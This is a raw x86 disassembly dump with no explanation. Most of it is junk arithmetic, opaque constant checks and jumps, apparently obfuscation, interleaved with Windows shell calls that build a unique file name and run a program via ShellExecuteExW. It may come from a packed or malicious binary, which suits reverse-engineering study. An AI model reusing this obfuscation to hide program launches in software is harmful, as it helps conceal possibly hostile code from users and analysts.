call fcn.00484980
jmp 0x403760
mov cl, byte [ebp - 0x30a5]
mov byte [ebp - 0x5d05], cl
mov dword [ebp - 0xe88], 0x8170
mov edx, dword [ebp - 0x659c]
add edx, dword [ebp - 0xc4]
mov dword [ebp - 0x1a68], edx
mov eax, dword [ebp - 0x1a68]
mov dword [ebp - 0x2854], eax
mov dword [ebp - 0x8d4c], 0x76e3
lea ecx, [ebp - 0x7074]
mov dword [ebp - 0x27f4], ecx
mov dword [ebp - 0x759c], 0xf388
lea edx, [ebp - 0x4429]
mov dword [ebp - 0x6bb4], edx
mov al, byte [ebp - 0x5d05]
mov byte [ebp - 0x2e8e], al
mov dword [ebp - 0x3860], 0xfc23
lea ecx, [ebp - 0x4b34]
mov dword [ebp - 0x3120], ecx
mov dword [ebp - 0x65a0], 0xdbf2
mov dword [ebp - 0x1b5c], 0x10f91
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ebp - 0x1234]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x590], ecx
cmp dword [ebp - 0x65a0], 0xf2cc
jae 0x40394d
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
add eax, dword [ebp - 0x5944]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x95d0]
sub edx, dword [ebp - 0x659c]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x65a0]
add ecx, 0xe1
mov dword [ebp - 0x65a0], ecx
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x8880]
mov dword [edx], ecx
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x95d0]
mov edx, dword [ebp - 0x8880]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x5d05]
movzx ecx, byte [ebp - 0x2e8e]
sub eax, ecx
mov byte [ebp - 0x30a5], al
movzx edx, word [ebp - 0x4b34]
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x3ea8], dx
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x590]
shl eax, cl
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x95d0]
sar eax, cl
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8880]
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x1a68], ecx
mov edx, dword [ebp - 0x590]
or edx, dword [ebp - 0x5944]
mov dword [ebp - 0x1c44], edx
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x3ea8], cx
mov ecx, dword [ebp - 0x97b0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x6bb4]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xa038]
mov byte [eax], dl
movsx ecx, byte [ebp - 0x43c5]
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xa038]
mov byte [edx], cl
movsx eax, word [ebp - 0x7074]
sub eax, 0x3ce3
mov ecx, dword [ebp - 0x27f4]
mov word [ecx], ax
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1234]
add eax, dword [ecx]
mov dword [ebp - 0x590], eax
mov edx, dword [ebp - 0x1a68]
add edx, dword [ebp - 0x95d0]
mov dword [ebp - 0x2854], edx
movzx eax, word [ebp - 0x3ea8]
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x4b34], ax
jmp 0x4037a0
movzx eax, word [ebp - 0x3ea8]
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
and eax, edx
movzx ecx, word [ebp - 0x4b34]
mov edx, dword [ebp - 0x66b8]
movzx edx, word [edx]
sub ecx, edx
cmp eax, ecx
jge 0x4039a5
movzx eax, byte [ebp - 0x5d05]
movzx ecx, byte [ebp - 0x2e8e]
sar eax, cl
mov byte [ebp - 0x30a5], al
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x38ac]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1a68]
mov dword [ebp - 0xa1fc], edx
cmp dword [ebp - 0xa1fc], 0
je 0x4039cf
cmp dword [ebp - 0xa1fc], 0x748c6f24
je 0x483f9a
jmp 0x483ffc
cmp dword [ebp - 0x3a7c], 0x476b
ja 0x403cdc
mov eax, dword [ebp - 0x2854]
and eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x38ac]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5944]
sub edx, dword [ebp - 0x590]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
movzx ecx, word [ebp - 0x4b34]
movzx edx, word [ebp - 0x3ea8]
add ecx, edx
mov eax, dword [ebp - 0x3120]
mov word [eax], cx
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ebp - 0x5944]
add edx, dword [ecx]
mov dword [ebp - 0x590], edx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [ebp - 0x2854]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [ebp - 0x2854]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4f00]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [ebp - 0x659c]
sub ecx, dword [eax]
mov dword [ebp - 0xc4], ecx
mov edx, dword [ebp - 0x95d0]
add edx, dword [ebp - 0x659c]
mov dword [ebp - 0x2854], edx
mov eax, dword [ebp - 0x27f4]
movsx ecx, word [eax]
and ecx, 0x88
mov word [ebp - 0x7074], cx
movsx edx, byte [ebp - 0x43c5]
movsx ecx, byte [ebp - 0x4429]
shl edx, cl
mov eax, dword [ebp - 0x6bb4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4b34]
xor eax, ecx
mov edx, dword [ebp - 0x3120]
mov word [edx], ax
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x1f88]
mov dword [ebp - 0x5944], ecx
mov edx, dword [ebp - 0x1f88]
add edx, dword [ebp - 0x1c44]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3a7c]
add ecx, 0x8b
mov dword [ebp - 0x3a7c], ecx
movzx edx, byte [ebp - 0x2e8e]
movzx eax, byte [ebp - 0x30a5]
sub edx, eax
mov byte [ebp - 0x5d05], dl
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x4b34]
and edx, eax
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x38ac]
mov eax, dword [edx]
add eax, dword [ebp - 0xc4]
mov dword [ebp - 0x1a68], eax
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1c44]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2854]
sub ecx, dword [ebp - 0x659c]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1a68]
sub eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
movzx edx, word [ebp - 0x3ea8]
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x4b34], dx
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4b34]
add eax, ecx
mov edx, dword [ebp - 0x206c]
mov word [edx], ax
mov eax, dword [ebp - 0x1234]
mov ecx, dword [ebp - 0x1f88]
sub ecx, dword [eax]
mov dword [ebp - 0x1c44], ecx
mov edx, dword [ebp - 0x659c]
add edx, dword [ebp - 0x2854]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x27f4]
movsx ecx, word [eax]
or ecx, 0x5753
mov word [ebp - 0x7074], cx
movsx edx, byte [ebp - 0x43c5]
mov eax, dword [ebp - 0x6bb4]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x4429], dl
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x3ea8], dx
mov edx, dword [ebp - 0x206c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x66b8]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x206c]
mov word [edx], ax
mov eax, dword [ebp - 0x1234]
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x1f88], edx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x2854]
sub eax, dword [ebp - 0x95d0]
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
and eax, dword [ebp - 0x1f88]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x19b4]
add eax, dword [ecx]
mov edx, dword [ebp - 0x38ac]
mov dword [edx], eax
jmp 0x4039cf
movzx eax, byte [ebp - 0x2e8e]
movzx ecx, byte [ebp - 0x5d05]
add eax, ecx
mov byte [ebp - 0x30a5], al
movzx edx, word [ebp - 0x3ea8]
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x4b34], dx
mov edx, dword [ebp - 0x1a68]
sub edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x5944]
mov dword [ebp - 0x1c44], edx
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
movzx edx, word [ebp - 0x4b34]
movzx ecx, word [ebp - 0x3ea8]
shl edx, cl
mov eax, dword [ebp - 0x206c]
mov word [eax], dx
movzx ecx, byte [ebp - 0x5d05]
movzx edx, byte [ebp - 0x2e8e]
xor ecx, edx
mov byte [ebp - 0x30a5], cl
mov eax, dword [ebp - 0x27f4]
movsx ecx, word [eax]
and ecx, 0x10ba
mov word [ebp - 0x7074], cx
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x6bb4]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0xa038]
mov byte [ecx], al
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ebp - 0x5944]
sub eax, dword [edx]
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x2854]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
movzx ecx, word [ebp - 0x4b34]
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x206c]
mov word [edx], cx
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x206c]
mov word [edx], cx
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1f88]
mov edx, dword [ebp - 0x1234]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x95d0]
mov dword [ebp - 0x659c], ecx
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38ac]
add eax, dword [ecx]
mov edx, dword [ebp - 0x8880]
mov dword [edx], eax
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x5944]
mov edx, dword [ebp - 0x1234]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x5d05]
movzx ecx, byte [ebp - 0x30a5]
shl eax, cl
mov byte [ebp - 0x2e8e], al
movzx edx, word [ebp - 0x3ea8]
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x4b34], dx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x659c], eax
mov ecx, dword [ebp - 0x95d0]
or ecx, dword [ebp - 0x2854]
mov dword [ebp - 0xc4], ecx
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
and eax, dword [ebp - 0x590]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8880]
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0xc4], ecx
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ebp - 0x95d0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x27f4]
movsx eax, word [edx]
add eax, 0x2b8a
mov word [ebp - 0x7074], ax
mov ecx, dword [ebp - 0x97b0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x4429]
sub edx, eax
mov ecx, dword [ebp - 0x6bb4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ebp - 0x1f88]
add eax, dword [edx]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x3ea8]
and eax, ecx
mov edx, dword [ebp - 0x206c]
mov word [edx], ax
mov eax, dword [ebp - 0x1234]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1c44]
mov edx, dword [ebp - 0x3d88]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2854]
add eax, dword [ebp - 0x1a68]
mov dword [ebp - 0xc4], eax
movzx ecx, byte [ebp - 0x30a5]
movzx edx, byte [ebp - 0x5d05]
add ecx, edx
mov byte [ebp - 0x2e8e], cl
movzx eax, word [ebp - 0x3ea8]
mov ecx, dword [ebp - 0x66b8]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x4b34], ax
mov edx, dword [ebp - 0xe88]
add edx, 0x74
mov dword [ebp - 0xe88], edx
mov eax, dword [ebp - 0x5944]
mov ecx, dword [ebp - 0x1c44]
shr eax, cl
mov dword [ebp - 0x590], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ebp - 0x1a68]
or edx, dword [ecx]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x95d0]
mov dword [ebp - 0x659c], ecx
mov edx, dword [ebp - 0x5944]
and edx, dword [ebp - 0x1f88]
mov dword [ebp - 0x1c44], edx
movzx eax, word [ebp - 0x4b34]
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x3ea8], ax
movzx eax, byte [ebp - 0x2e8e]
movzx ecx, byte [ebp - 0x30a5]
add eax, ecx
mov byte [ebp - 0x5d05], al
mov edx, dword [ebp - 0x38ac]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
add eax, dword [ecx]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], eax
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0xc4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4f00]
mov dword [edx], ecx
mov eax, dword [ebp - 0x27f4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x7074]
sub ecx, edx
mov eax, dword [ebp - 0x27f4]
mov word [eax], cx
mov ecx, dword [ebp - 0x97b0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x6bb4]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x4429], dl
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x6bb4]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x97b0]
mov byte [ecx], al
movzx edx, word [ebp - 0x3ea8]
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x4b34], dx
cmp dword [ebp - 0xe88], 0x99e8
jne 0x403cdc
mov edx, dword [ebp - 0x590]
mov dword [ebp - 0x86c0], edx
cmp dword [ebp - 0x8804], 0xcd99
jb 0x404551
mov eax, dword [ebp - 0x3d88]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x5944]
shl edx, cl
mov dword [ebp - 0x86c0], edx
mov eax, dword [ebp - 0x38ac]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x659c]
sar edx, cl
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4b34]
add eax, ecx
mov word [ebp - 0x3ea8], ax
movzx edx, byte [ebp - 0x2e8e]
movzx eax, byte [ebp - 0x5d05]
and edx, eax
mov byte [ebp - 0x30a5], dl
mov ecx, dword [ebp - 0x8804]
sub ecx, 0xbd
mov dword [ebp - 0x8804], ecx
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ebp - 0x1234]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x5944], ecx
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2854]
mov dword [ebp - 0x659c], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
add edx, dword [ebp - 0x659c]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1c44]
mov dword [ebp - 0x1f88], edx
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x206c]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x4b34], cx
movzx ecx, byte [ebp - 0x2e8e]
movzx edx, byte [ebp - 0x30a5]
add ecx, edx
mov byte [ebp - 0x5d05], cl
movsx eax, byte [ebp - 0x43c5]
mov ecx, dword [ebp - 0x6bb4]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x97b0]
mov byte [ecx], al
movsx edx, word [ebp - 0x7074]
and edx, 0x70f7
mov eax, dword [ebp - 0x27f4]
mov word [eax], dx
mov edx, dword [ebp - 0x590]
mov ecx, dword [ebp - 0x1f88]
shl edx, cl
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
movzx ecx, word [ebp - 0x3ea8]
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x4b34], cx
movzx edx, word [ebp - 0x4b34]
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
add eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1234]
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x590], ecx
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx]
and eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x659c]
add edx, dword [ebp - 0xc4]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x86c0]
mov edx, dword [ebp - 0x1234]
mov dword [edx], ecx
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x4b34]
add ecx, edx
mov word [ebp - 0x3ea8], cx
mov eax, dword [ebp - 0x1234]
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
add edx, dword [ebp - 0x95d0]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [ebp - 0x8880]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x38ac]
mov dword [edx], ecx
mov eax, dword [ebp - 0x27f4]
movsx ecx, word [eax]
shl ecx, 0xe
mov word [ebp - 0x7074], cx
movsx edx, byte [ebp - 0x43c5]
mov eax, dword [ebp - 0xa038]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x4429], dl
movzx ecx, word [ebp - 0x3ea8]
mov edx, dword [ebp - 0x206c]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x66b8]
mov word [edx], cx
movzx eax, word [ebp - 0x4b34]
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x3ea8], ax
mov eax, dword [ebp - 0x1234]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1f88]
mov edx, dword [ebp - 0x3d88]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x86c0]
mov edx, dword [ebp - 0x1234]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x2e8e]
movzx ecx, byte [ebp - 0x30a5]
add eax, ecx
mov byte [ebp - 0x5d05], al
movzx edx, word [ebp - 0x4b34]
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x3ea8], dx
mov edx, dword [ebp - 0x8880]
mov eax, dword [ebp - 0xc4]
sub eax, dword [edx]
mov dword [ebp - 0x1a68], eax
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ebp - 0x1c44]
add edx, dword [ecx]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x19b4]
add edx, dword [eax]
mov dword [ebp - 0x2854], edx
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
add edx, dword [ebp - 0x95d0]
mov dword [ebp - 0xc4], edx
movzx eax, word [ebp - 0x4b34]
movzx ecx, word [ebp - 0x3ea8]
sub eax, ecx
mov edx, dword [ebp - 0x3120]
mov word [edx], ax
movzx eax, word [ebp - 0x4b34]
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x3ea8], ax
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [ebp - 0x1234]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x1f88], edx
mov eax, dword [ebp - 0x659c]
mov ecx, dword [ebp - 0x1a68]
shl eax, cl
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x27f4]
movsx eax, word [edx]
xor eax, 0x12b2
mov word [ebp - 0x7074], ax
jmp 0x404110
movsx ecx, word [ebp - 0x7074]
and ecx, 0x57e6
mov edx, dword [ebp - 0x27f4]
movsx eax, word [edx]
cmp ecx, eax
jg 0x404637
mov ecx, dword [ebp - 0x6bb4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x4429]
sub edx, eax
mov ecx, dword [ebp - 0x6bb4]
mov byte [ecx], dl
movsx edx, word [ebp - 0x7074]
mov dword [ebp - 0xa200], edx
cmp dword [ebp - 0xa200], 0x5ed1
je 0x404629
cmp dword [ebp - 0xa200], 0x5f6a
je 0x4045b7
jmp 0x404637
movzx eax, word [ebp - 0x4b34]
mov ecx, dword [ebp - 0x3120]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x3ea8], ax
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x4d54]
push ecx
lea edx, [ebp - 0x2934]
push edx
mov eax, dword [ebp - 0x4294]
push eax
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [ebp - 0x74f8], eax
movzx ecx, word [ebp - 0x3ea8]
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x206c]
mov word [edx], cx
mov eax, dword [ebp - 0x1234]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1c44]
mov dword [ebp - 0x1f88], ecx
jmp 0x404637
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
push eax
call fcn.00484640
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x659c], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xc4]
mov dword [ebp - 0x2854], edx
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
mov dword [ebp - 0xa204], ecx
cmp dword [ebp - 0xa204], 0
je 0x40467e
jmp 0x483e47
movzx edx, byte [ebp - 0x2e8e]
movzx ecx, byte [ebp - 0x30a5]
sar edx, cl
movzx eax, byte [ebp - 0x5d05]
cmp edx, eax
jg 0x483def
movsx ecx, word [ebp - 0x7074]
mov dword [ebp - 0xa208], ecx
cmp dword [ebp - 0xa208], 0x2b69
je 0x4046bb
jmp 0x40475b
mov edx, dword [ebp - 0x1a68]
add edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
movsx ecx, word [ebp - 0x7074]
mov dword [ebp - 0xa20c], ecx
cmp dword [ebp - 0xa20c], 0x13d
je 0x4046ea
jmp 0x404740
lea edx, [ebp - 0x40e4]
push edx
lea eax, [ebp - 0x4429]
push eax
lea ecx, [ebp - 0x4294]
push ecx
lea edx, [ebp - 0x2934]
push edx
call dword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [ebp - 0x6054], eax
movzx eax, word [ebp - 0x3ea8]
movzx ecx, word [ebp - 0x4b34]
sub eax, ecx
mov edx, dword [ebp - 0x3120]
mov word [edx], ax
lea eax, [ebp - 0x964c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [ebp - 0x6054], eax
jmp 0x404756
movzx ecx, byte [ebp - 0x5d05]
movzx edx, byte [ebp - 0x30a5]
sub ecx, edx
mov byte [ebp - 0x2e8e], cl
jmp 0x404827
mov al, byte [ebp - 0x4429]
mov byte [ebp - 0xa210], al
cmp byte [ebp - 0xa210], 0x77
je 0x404772
jmp 0x404783
mov ecx, dword [ebp - 0x659c]
push ecx
call fcn.00484640
jmp 0x404827
mov dl, byte [ebp - 0x4429]
mov byte [ebp - 0xa214], dl
cmp byte [ebp - 0xa214], 0
je 0x4047d2
cmp byte [ebp - 0xa214], 0x2a
je 0x4047a3
jmp 0x40481b
movsx eax, word [ebp - 0x7074]
add eax, 0x68bb
mov ecx, dword [ebp - 0x27f4]
mov word [ecx], ax
movsx edx, byte [ebp - 0x4429]
mov eax, dword [ebp - 0xa038]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x43c5], dl
jmp 0x40481b
mov edx, dword [ebp - 0x5944]
mov dword [ebp - 0x4c04], edx
mov dword [ebp - 0x20f8], 0x1903
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
add ecx, eax
mov word [section..data], cx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
lea edx, [ebp - 0x30a5]
mov dword [ebp - 0x61e8], edx
